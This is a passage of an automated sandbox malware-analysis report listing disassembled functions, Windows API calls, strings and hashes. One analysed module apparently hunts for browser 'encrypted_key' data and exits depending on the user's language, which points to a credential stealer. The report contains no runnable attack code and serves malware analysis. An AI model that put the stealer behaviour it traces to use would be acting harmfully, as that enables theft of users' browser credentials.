Opcode Fuzzy Hash: b5b4ad6c16d55ba135209ad6b8eed46d8d62fcf6019b96d4dfaf3f249637755f
Instruction Fuzzy Hash: A431D1B5B012099FDF04DFB9C94AAAE77B9FB49314F104419E545E3B50DB30A944CB61

Function 6CA94480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CAD4843,?), ref: 6CA945F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CAD4843,?), ref: 6CA9468A
free.MOZGLUE(?,?,?,?,?,?,6CAD4843,?), ref: 6CA946C9
free.MOZGLUE(?), ref: 6CA946EF
free.MOZGLUE(?), ref: 6CA94712
free.MOZGLUE(?), ref: 6CA94735
free.MOZGLUE(?), ref: 6CA94758
free.MOZGLUE(?), ref: 6CA9477B
free.MOZGLUE(?), ref: 6CA9479E

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: ecc289ffc2e351dee887c3ae208c1d1d213e68e11f6b49092c10a4f172612a93
Instruction ID: b8ce3dbf9b4f15507e594f51ec02e973d91bdbd0bcc3addad02c3a11cc3caefc
Opcode Fuzzy Hash: ecc289ffc2e351dee887c3ae208c1d1d213e68e11f6b49092c10a4f172612a93
Instruction Fuzzy Hash: 72B10372A101108FDB189E7CD99676D77F6AF42328F184668E536DFB92E73098C48B81

Function 008812D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: cf70b28899a3bf9dc85e21cf7ae7af68dae877bb20c750437f53a346a727ed9e
Instruction ID: bba52b625f88bdbc3cc341b575e490deddfd1b3d764c704934d4b81f80bfe43a
Opcode Fuzzy Hash: cf70b28899a3bf9dc85e21cf7ae7af68dae877bb20c750437f53a346a727ed9e
Instruction Fuzzy Hash: F5C196B590011D9BCB18FFA4DC89FEA7378FB64304F004599E10AE7192DB74AA85CF92

Function 00884280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00888DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00888E0B

lstrcat.KERNEL32(?,00000000), ref: 008842EC
lstrcat.KERNEL32(?,010FE498), ref: 0088430B
lstrcat.KERNEL32(?,?), ref: 0088431F
lstrcat.KERNEL32(?,010FCA28), ref: 00884333

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 00888D90: GetFileAttributesA.KERNEL32(00000000,?,00871B54,?,?,0089564C,?,?,00890E1F), ref: 00888D9F

Part of subcall function 00879CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00879D39

Part of subcall function 008799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008799EC
Part of subcall function 008799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00879A11
Part of subcall function 008799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00879A31
Part of subcall function 008799C0: ReadFile.KERNEL32(000000FF,?,00000000,0087148F,00000000), ref: 00879A5A
Part of subcall function 008799C0: LocalFree.KERNEL32(0087148F), ref: 00879A90
Part of subcall function 008799C0: CloseHandle.KERNEL32(000000FF), ref: 00879A9A

Part of subcall function 008893C0: GlobalAlloc.KERNEL32(00000000,008843DD,008843DD), ref: 008893D3

StrStrA.SHLWAPI(?,010FE3C0), ref: 008843F3
GlobalFree.KERNEL32(?), ref: 00884512

Part of subcall function 00879AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00874EEE,00000000,00000000), ref: 00879AEF
Part of subcall function 00879AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00874EEE,00000000,?), ref: 00879B01
Part of subcall function 00879AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00874EEE,00000000,00000000), ref: 00879B2A
Part of subcall function 00879AC0: LocalFree.KERNEL32(?,?,?,?,00874EEE,00000000,?), ref: 00879B3F

lstrcat.KERNEL32(?,00000000), ref: 008844A3
StrCmpCA.SHLWAPI(?,008908D1), ref: 008844C0
lstrcat.KERNEL32(00000000,00000000), ref: 008844D2
lstrcat.KERNEL32(00000000,?), ref: 008844E5
lstrcat.KERNEL32(00000000,00890FB8), ref: 008844F4

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 70cf4e0bc6757c62c8add16dba01a8ca607d470f45909c10a9fab2e26eb9dd7f
Instruction ID: cdbcd02f7d7eabf31af0483ac24b4ab9dda97da80551355550ab77972a20a36c
Opcode Fuzzy Hash: 70cf4e0bc6757c62c8add16dba01a8ca607d470f45909c10a9fab2e26eb9dd7f
Instruction Fuzzy Hash: 7F7132B6900208ABDB14FBE4DC85FEE7779FB58300F048598F609D6192EA35DB45CB92

Function 6CAFAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CAFAC52
CreateFileMappingW.KERNEL32 ref: 6CAFAC7D
GetSystemInfo.KERNEL32 ref: 6CAFAC98
MapViewOfFile.KERNEL32 ref: 6CAFACB0
GetSystemInfo.KERNEL32 ref: 6CAFACCD
MapViewOfFile.KERNEL32 ref: 6CAFAD05
UnmapViewOfFile.KERNEL32 ref: 6CAFAD1C
CloseHandle.KERNEL32 ref: 6CAFAD28
UnmapViewOfFile.KERNEL32 ref: 6CAFAD37
CloseHandle.KERNEL32 ref: 6CAFAD43
CloseHandle.KERNEL32 ref: 6CAFAD67

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 646e734bdfc91e16494f231e1be3e858c008a66627b5148000fb872ea1fda407
Instruction ID: 7bc7e34cdc60176546c4d15618e28dc9f506c3b0d6e8ddbbd1862619ea315dec
Opcode Fuzzy Hash: 646e734bdfc91e16494f231e1be3e858c008a66627b5148000fb872ea1fda407
Instruction Fuzzy Hash: CB3172B1A047448FDB00AF7CD6492AEBBF1FF85305F01492DE99987711EB709899CB92

Function 6CAE9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAE8273), ref: 6CAE9D65
free.MOZGLUE(6CAE8273,?), ref: 6CAE9D7C
free.MOZGLUE(?,?), ref: 6CAE9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAE9E0F
free.MOZGLUE(6CAE946B,?,?), ref: 6CAE9E24
free.MOZGLUE(?,?,?), ref: 6CAE9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAE9EC8
free.MOZGLUE(6CAE946B,?,?,?), ref: 6CAE9EDF
free.MOZGLUE(?,?,?,?), ref: 6CAE9EF5

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 19674ee7c4ebe01e954ee48c8a87fdad08f3e51b8a50d24808172206c7b283f1
Instruction ID: 0740867c6ec3112fc3516a79f812d7cf56ca7253d019c76197e7c279f2139207
Opcode Fuzzy Hash: 19674ee7c4ebe01e954ee48c8a87fdad08f3e51b8a50d24808172206c7b283f1
Instruction Fuzzy Hash: 43716E70909B419BD712CF28C68059AF3F5FF99315B449619E95A5BB01EB30F8C9CBC1

Function 6CAEDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CAEDDCF

Part of subcall function 6CACFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CACFA4B

Part of subcall function 6CAE90E0: free.MOZGLUE(?,00000000,?,?,6CAEDEDB), ref: 6CAE90FF
Part of subcall function 6CAE90E0: free.MOZGLUE(?,00000000,?,?,6CAEDEDB), ref: 6CAE9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAEDE0D
free.MOZGLUE(00000000), ref: 6CAEDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAEDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAEDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAEDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CADDEFD,?,6CAA4A68), ref: 6CAEDF32

Part of subcall function 6CAEDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CAEDB86
Part of subcall function 6CAEDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CAEDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CADDEFD,?,6CAA4A68), ref: 6CAEDF65
free.MOZGLUE(?), ref: 6CAEDF80

Part of subcall function 6CAB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
Part of subcall function 6CAB5E90: memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
Part of subcall function 6CAB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 127867fab54b53b77dd84ee19d7d45d0878a3d4348b51567aceab7e67a39f0f4
Instruction ID: 9fc19b22af7e786f061821b09097b7930d864a435de5a26941270694a8bd1b68
Opcode Fuzzy Hash: 127867fab54b53b77dd84ee19d7d45d0878a3d4348b51567aceab7e67a39f0f4
Instruction Fuzzy Hash: B551C672E016009FD711DB29D9846AEB376BFD9308F99052CD81A63B00DB31F999DBD2

Function 6CACCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CA931A7), ref: 6CACCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CACCFA4, 6CACCFB8
<jemalloc>, xrefs: 6CACCF9F, 6CACCFB3

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 3b2b67c025dbb0c58df664bd259af9d61601dd5fdef5e5de8d935f47e870dc6e
Instruction ID: 8772282ee462b6b07e257ef0ffac1dce302816bb59625db84c4ac147055783f8
Opcode Fuzzy Hash: 3b2b67c025dbb0c58df664bd259af9d61601dd5fdef5e5de8d935f47e870dc6e
Instruction Fuzzy Hash: F331D4717452056BFF00AFA98C46BAE7B75AB4675CF344019F611ABF80DB70D580CBA2

Function 6CA9ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA9F100: LoadLibraryW.KERNEL32(shell32,?,6CB0D020), ref: 6CA9F122
Part of subcall function 6CA9F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA9F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CA9ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CA9EDCC
CreateFileW.KERNEL32 ref: 6CA9EE08
free.MOZGLUE(00000000), ref: 6CA9EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CA9EE32

Part of subcall function 6CA9EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CA9EBB5
Part of subcall function 6CA9EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CACD7F3), ref: 6CA9EBC3
Part of subcall function 6CA9EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CACD7F3), ref: 6CA9EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CA9EDC1

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 585b733e516672106d871cad38b10c5a5deb17c6299eabbca7e57a8c780e87e9
Instruction ID: f6b370a61de43d53b1a7161a6734b35b48db5d9979ebb56c147dcebf0e185934
Opcode Fuzzy Hash: 585b733e516672106d871cad38b10c5a5deb17c6299eabbca7e57a8c780e87e9
Instruction Fuzzy Hash: F051D371E152449BDB00DF68C9467EEB7F0BF49318F48841DE85567B81E731A988C7E2

Function 6CB0A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB0A565

Part of subcall function 6CB0A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB0A4BE
Part of subcall function 6CB0A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB0A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB0A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB0A6B6

Strings

0, xrefs: 6CB0A5FB
z, xrefs: 6CB0A6AE

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 883aab8b3e57a1e309fa27125bb81c922ade85db748f60830507bec5447ee7e5
Instruction ID: 91967b9df0e7a80ffb6bd082a2024c489005da0e9c7335f40763a649a9cbdb59
Opcode Fuzzy Hash: 883aab8b3e57a1e309fa27125bb81c922ade85db748f60830507bec5447ee7e5
Instruction Fuzzy Hash: 8B410671A197459FC341DF28C480A9FBBF5BF89354F408A2EE49987650EB30E549CB93

Function 6CAD9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
__Init_thread_footer.LIBCMT ref: 6CAD949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAD9459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAD947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAD946B

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 2633b2084f7c65c938b2587a300b4a64a2ac1cd8b353df60c6111d1c5ebbaf5c
Instruction ID: a227ea3faf936162663cdba706500291cde84aa25610d6dccfac389d4bdf2f4b
Opcode Fuzzy Hash: 2633b2084f7c65c938b2587a300b4a64a2ac1cd8b353df60c6111d1c5ebbaf5c
Instruction Fuzzy Hash: 8501D8B4B041018BE700DB6DEA26A9533B99B1633DF094537E90687F42DA31E9D4C957

Function 00886770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00886774
ExitProcess.KERNEL32 ref: 008867A5
ExitProcess.KERNEL32 ref: 008867AF
ExitProcess.KERNEL32 ref: 008867B9
ExitProcess.KERNEL32 ref: 008867C3
ExitProcess.KERNEL32 ref: 008867CD

Strings

*, xrefs: 0088678C

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
